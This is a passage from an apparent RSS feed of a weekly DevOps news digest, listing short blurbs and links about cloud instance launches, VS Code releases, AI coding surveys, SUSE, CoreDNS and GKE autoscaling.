        <a href="#h3-amazon-ec2-m8azn-instances-are-now-available-in-us-east-ohio-region" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon EC2 M8azn instances are now available in US East (Ohio) Region
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-ec2-m8azn-instances-are-now-available-in-us-east-ohio-region"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Starting today, Amazon EC2 M8azn instances are now available in US East (Ohio) Region. These general purpose high-frequency high-network instances are powered by fifth generation AMD EPYC (formerly co</p>
<p><strong>📅 Mar 13, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/03/amazon-ec2-m8azn-instances-ohio/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-whats-new-with-google-cloud" class="group relative scroll-mt-24">
        <a href="#h3-whats-new-with-google-cloud" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 What’s new with Google Cloud
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-whats-new-with-google-cloud"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Want to know the latest from Google Cloud? Find it here in one handy location. Check back regularly for our newest updates, announcements, resources, events, learning opportunities, and more. Tip: Not</p>
<p><strong>📅 Mar 13, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/topics/inside-google-cloud/whats-new-google-cloud/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-scaling-autonomous-site-reliability-engineering-architecture-orchestration-and-validation-for-a-90000-server-fleet" class="group relative scroll-mt-24">
        <a href="#h3-scaling-autonomous-site-reliability-engineering-architecture-orchestration-and-validation-for-a-90000-server-fleet" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Scaling Autonomous Site Reliability Engineering: Architecture, Orchestration, and Validation for a 90,000+ Server Fleet
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-scaling-autonomous-site-reliability-engineering-architecture-orchestration-and-validation-for-a-90000-server-fleet"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>As Cloudways scaled from a bootstrapped startup to a leading managed PHP hosting service, one of the biggest challenges we encountered was the growing support load. Managing a fleet of over 90,000 ser</p>
<p><strong>📅 Mar 13, 2026</strong> • <strong>📰 DigitalOcean Blog</strong></p>
<p><a href="https://www.digitalocean.com/blog/scaling-autonomous-site-reliability"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-from-legacy-architecture-to-cloudflare-one" class="group relative scroll-mt-24">
        <a href="#h3-from-legacy-architecture-to-cloudflare-one" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 From legacy architecture to Cloudflare One
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-from-legacy-architecture-to-cloudflare-one"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn how Cloudflare and CDW de-risk SASE migrations with a blueprint that treats legacy debt as an application modernization project.</p>
<p><strong>📅 Mar 13, 2026</strong> • <strong>📰 Cloudflare Blog</strong></p>
<p><a href="https://blog.cloudflare.com/legacy-to-agile-sase/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-misc" class="group relative scroll-mt-24">
        <a href="#h2-misc" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📰 Misc
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-misc"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-vs-code-1112-insiders" class="group relative scroll-mt-24">
        <a href="#h3-vs-code-1112-insiders" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 VS Code 1.112 Insiders
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-vs-code-1112-insiders"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn what&#39;s new in Visual Studio Code 1.112 (Insiders) Read the full article</p>
<p><strong>📅 Mar 18, 2026</strong> • <strong>📰 VS Code Blog</strong></p>
<p><a href="https://code.visualstudio.com/updates/v1_112"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-five-great-devops-job-opportunities" class="group relative scroll-mt-24">
        <a href="#h3-five-great-devops-job-opportunities" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Five Great DevOps Job Opportunities
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-five-great-devops-job-opportunities"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Weekly DevOps jobs roundup, this week highlighting top roles in Massachusetts, New Jersey, Chicago, Charlotte and Seattle, with pay ranges and hiring trends to help DevOps pros advance careers.</p>
<p><strong>📅 Mar 16, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/five-great-devops-job-opportunities-180/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-beginners-guide-to-vibe-coding" class="group relative scroll-mt-24">
        <a href="#h3-beginners-guide-to-vibe-coding" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Beginners guide to vibe coding
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-beginners-guide-to-vibe-coding"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We talk a lot about vibe coding. And to be honest, I’d heard the term far too many times before The post Beginners guide to vibe coding appeared first on The New Stack.</p>
<p><strong>📅 Mar 15, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/beginners-guide-to-vibe-coding/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ex-snowflake-engineers-say-theres-a-blind-spot-in-data-engineering-so-they-built-tower-to-fix-it" class="group relative scroll-mt-24">
        <a href="#h3-ex-snowflake-engineers-say-theres-a-blind-spot-in-data-engineering-so-they-built-tower-to-fix-it" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Ex-Snowflake engineers say there’s a blind spot in data engineering — so they built Tower to fix it
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ex-snowflake-engineers-say-theres-a-blind-spot-in-data-engineering-so-they-built-tower-to-fix-it"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI coding assistants might have made it easier to generate software, but getting that code to run reliably — packaging The post Ex-Snowflake engineers say there’s a blind spot in data engineering — so</p>
<p><strong>📅 Mar 15, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/tower-python-data-pipelines/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-why-ai-systems-are-failing-in-familiar-ways" class="group relative scroll-mt-24">
        <a href="#h3-why-ai-systems-are-failing-in-familiar-ways" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Why AI systems are failing in familiar ways
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-why-ai-systems-are-failing-in-familiar-ways"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>With the introduction of AI-assisted coding tools and agents, many people hoped we’d solve all the problems for human teams. The post Why AI systems are failing in familiar ways appeared first on The </p>
<p><strong>📅 Mar 14, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/ai-agents-batch-size-gravity/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-survey-ai-coding-exacerbates-existing-devops-workflow-issues" class="group relative scroll-mt-24">
        <a href="#h3-survey-ai-coding-exacerbates-existing-devops-workflow-issues" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Survey: AI Coding Exacerbates Existing DevOps Workflow Issues
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-survey-ai-coding-exacerbates-existing-devops-workflow-issues"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A global survey of 700 software engineering practices published this week finds that thanks to increased reliance on artificial intelligence (AI) coding tools, well over a third (35%) are either achie</p>
<p><strong>📅 Mar 13, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/survey-ai-coding-exacerbates-existing-devops-workflow-issues/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-future-proof-your-software-why-certifying-on-sles-16-is-a-strategic-move-for-isvs" class="group relative scroll-mt-24">
        <a href="#h3-future-proof-your-software-why-certifying-on-sles-16-is-a-strategic-move-for-isvs" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Future-Proof Your Software: Why Certifying on SLES 16 is a Strategic Move for ISVs
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-future-proof-your-software-why-certifying-on-sles-16-is-a-strategic-move-for-isvs"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In the rapidly evolving landscape of enterprise IT, staying ahead means building on a foundation that is as innovative as it is stable. With the general availability of SUSE Linux Enterprise Server (S</p>
<p><strong>📅 Mar 13, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/future-proof-your-software-why-certifying-on-sles-16-is-a-strategic-move-for-isvs/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-low-codes-new-frontier-tailored-solutions-for-each-industry" class="group relative scroll-mt-24">
        <a href="#h3-low-codes-new-frontier-tailored-solutions-for-each-industry" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Low-Code’s New Frontier: Tailored Solutions for Each Industry
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-low-codes-new-frontier-tailored-solutions-for-each-industry"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>For years, most low-code platforms have focused on one primary challenge: efficiency. The goal was to help teams build applications faster and with less effort, reducing manual coding, speeding up ite</p>
<p><strong>📅 Mar 13, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/low-codes-new-frontier-tailored-solutions-for-each-industry/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-python-unplugged-on-pytv-recap" class="group relative scroll-mt-24">
        <a href="#h3-python-unplugged-on-pytv-recap" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Python Unplugged on PyTV Recap
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-python-unplugged-on-pytv-recap"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Last week marked the fruition of almost a year of hard work by the entire PyCharm team. On March 4th, 2026, we hosted Python Unplugged on PyTV, our first-ever community conference featuring a 90s musi</p>
<p><strong>📅 Mar 13, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/pycharm/2026/03/python-unplugged-on-pytv-recap/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-your-susecon-26-sovereignty-guide-the-sessions-that-will-change-how-you-think-about-control" class="group relative scroll-mt-24">
        <a href="#h3-your-susecon-26-sovereignty-guide-the-sessions-that-will-change-how-you-think-about-control" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Your SUSECON 26 Sovereignty Guide: The Sessions That Will Change How You Think About Control
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-your-susecon-26-sovereignty-guide-the-sessions-that-will-change-how-you-think-about-control"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>As we prepare to gather in Prague this April for SUSECON 26, I am frequently asked a specific question: “Is Digital Sovereignty just a European regulation story?” My answer is always a categorical no.</p>
<p><strong>📅 Mar 13, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/your-susecon-26-sovereignty-guide-the-sessions-that-will-change-how-you-think-about-control/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-vs-code-builds-with-ai" class="group relative scroll-mt-24">
        <a href="#h3-how-vs-code-builds-with-ai" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How VS Code Builds with AI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-vs-code-builds-with-ai"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn how VS Code uses AI across its own development workflow with GitHub Copilot agent mode, automated testing, and AI-powered code review. Read the full article</p>
<p><strong>📅 Mar 13, 2026</strong> • <strong>📰 VS Code Blog</strong></p>
<p><a href="https://code.visualstudio.com/blogs/2026/03/13/how-VS-Code-Builds-with-AI"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-new-ai-stack-choice-control-and-production-ready-innovation" class="group relative scroll-mt-24">
        <a href="#h3-the-new-ai-stack-choice-control-and-production-ready-innovation" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The new AI stack: Choice, control, and production-ready innovation
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-new-ai-stack-choice-control-and-production-ready-innovation"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In the next decade, AI will redraw the map of technology ecosystems. As we traverse what Forrester is calling the &quot;seventh wave&quot; of major technological change—driven by generative and agentic AI—C-sui</p>
<p><strong>📅 Mar 13, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/new-ai-stack-choice-control-and-production-ready-innovation"><strong>🔗 Read more</strong></a></p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[DevOps Weekly Digest - Week 11, 2026]]></title>
      <link>https://devops-daily.com/news/2026-week-11</link>
      <description><![CDATA[⚡ Curated updates from Kubernetes, cloud native tooling, CI/CD, IaC, observability, and security - handpicked for DevOps professionals!]]></description>
      <pubDate>Mon, 09 Mar 2026 00:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/news/2026-week-11</guid>
      <category><![CDATA[DevOps News]]></category>
      <content:encoded><![CDATA[<blockquote>
<p>📌 <strong>Handpicked by DevOps Daily</strong> - Your weekly dose of curated DevOps news and updates!</p>
</blockquote>
<hr>
<h2 id="h2-kubernetes" class="group relative scroll-mt-24">
        <a href="#h2-kubernetes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          ⚓ Kubernetes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-kubernetes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-why-is-your-kubernetes-cluster-adding-nodes-when-the-dashboards-look-fine" class="group relative scroll-mt-24">
        <a href="#h3-why-is-your-kubernetes-cluster-adding-nodes-when-the-dashboards-look-fine" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Why is your Kubernetes cluster adding nodes when the dashboards look fine?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-why-is-your-kubernetes-cluster-adding-nodes-when-the-dashboards-look-fine"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Kubernetes has always been sensitive to bad inputs. What’s changed is how often teams are running into it. As more bursty workloads—especially inference—land on Kubernetes, a familiar The post Why is </p>
<p><strong>📅 Mar 8, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/why-is-your-kubernetes-cluster-adding-nodes-when-the-dashboards-look-fine/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-coredns-1142-release" class="group relative scroll-mt-24">
        <a href="#h3-coredns-1142-release" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 CoreDNS-1.14.2 Release
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-coredns-1142-release"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This release adds the new proxyproto plugin to support Proxy Protocol and preserve client IPs behind load balancers. It also includes enhancements such as improved DNS logging metadata and stronger ra</p>
<p><strong>📅 Mar 6, 2026</strong> • <strong>📰 CoreDNS Blog</strong></p>
<p><a href="https://coredns.io/2026/03/06/coredns-1.14.2-release/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-grow-your-own-way-introducing-native-support-for-custom-metrics-in-gke" class="group relative scroll-mt-24">
        <a href="#h3-grow-your-own-way-introducing-native-support-for-custom-metrics-in-gke" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Grow your own way: Introducing native support for custom metrics in GKE
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-grow-your-own-way-introducing-native-support-for-custom-metrics-in-gke"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>When platform engineers, AI Infrastructure leads and developers think about autoscaling workloads running on Kubernetes, their goal is straightforward: get the capacity they need, when they need it, a</p>
<p><strong>📅 Mar 5, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
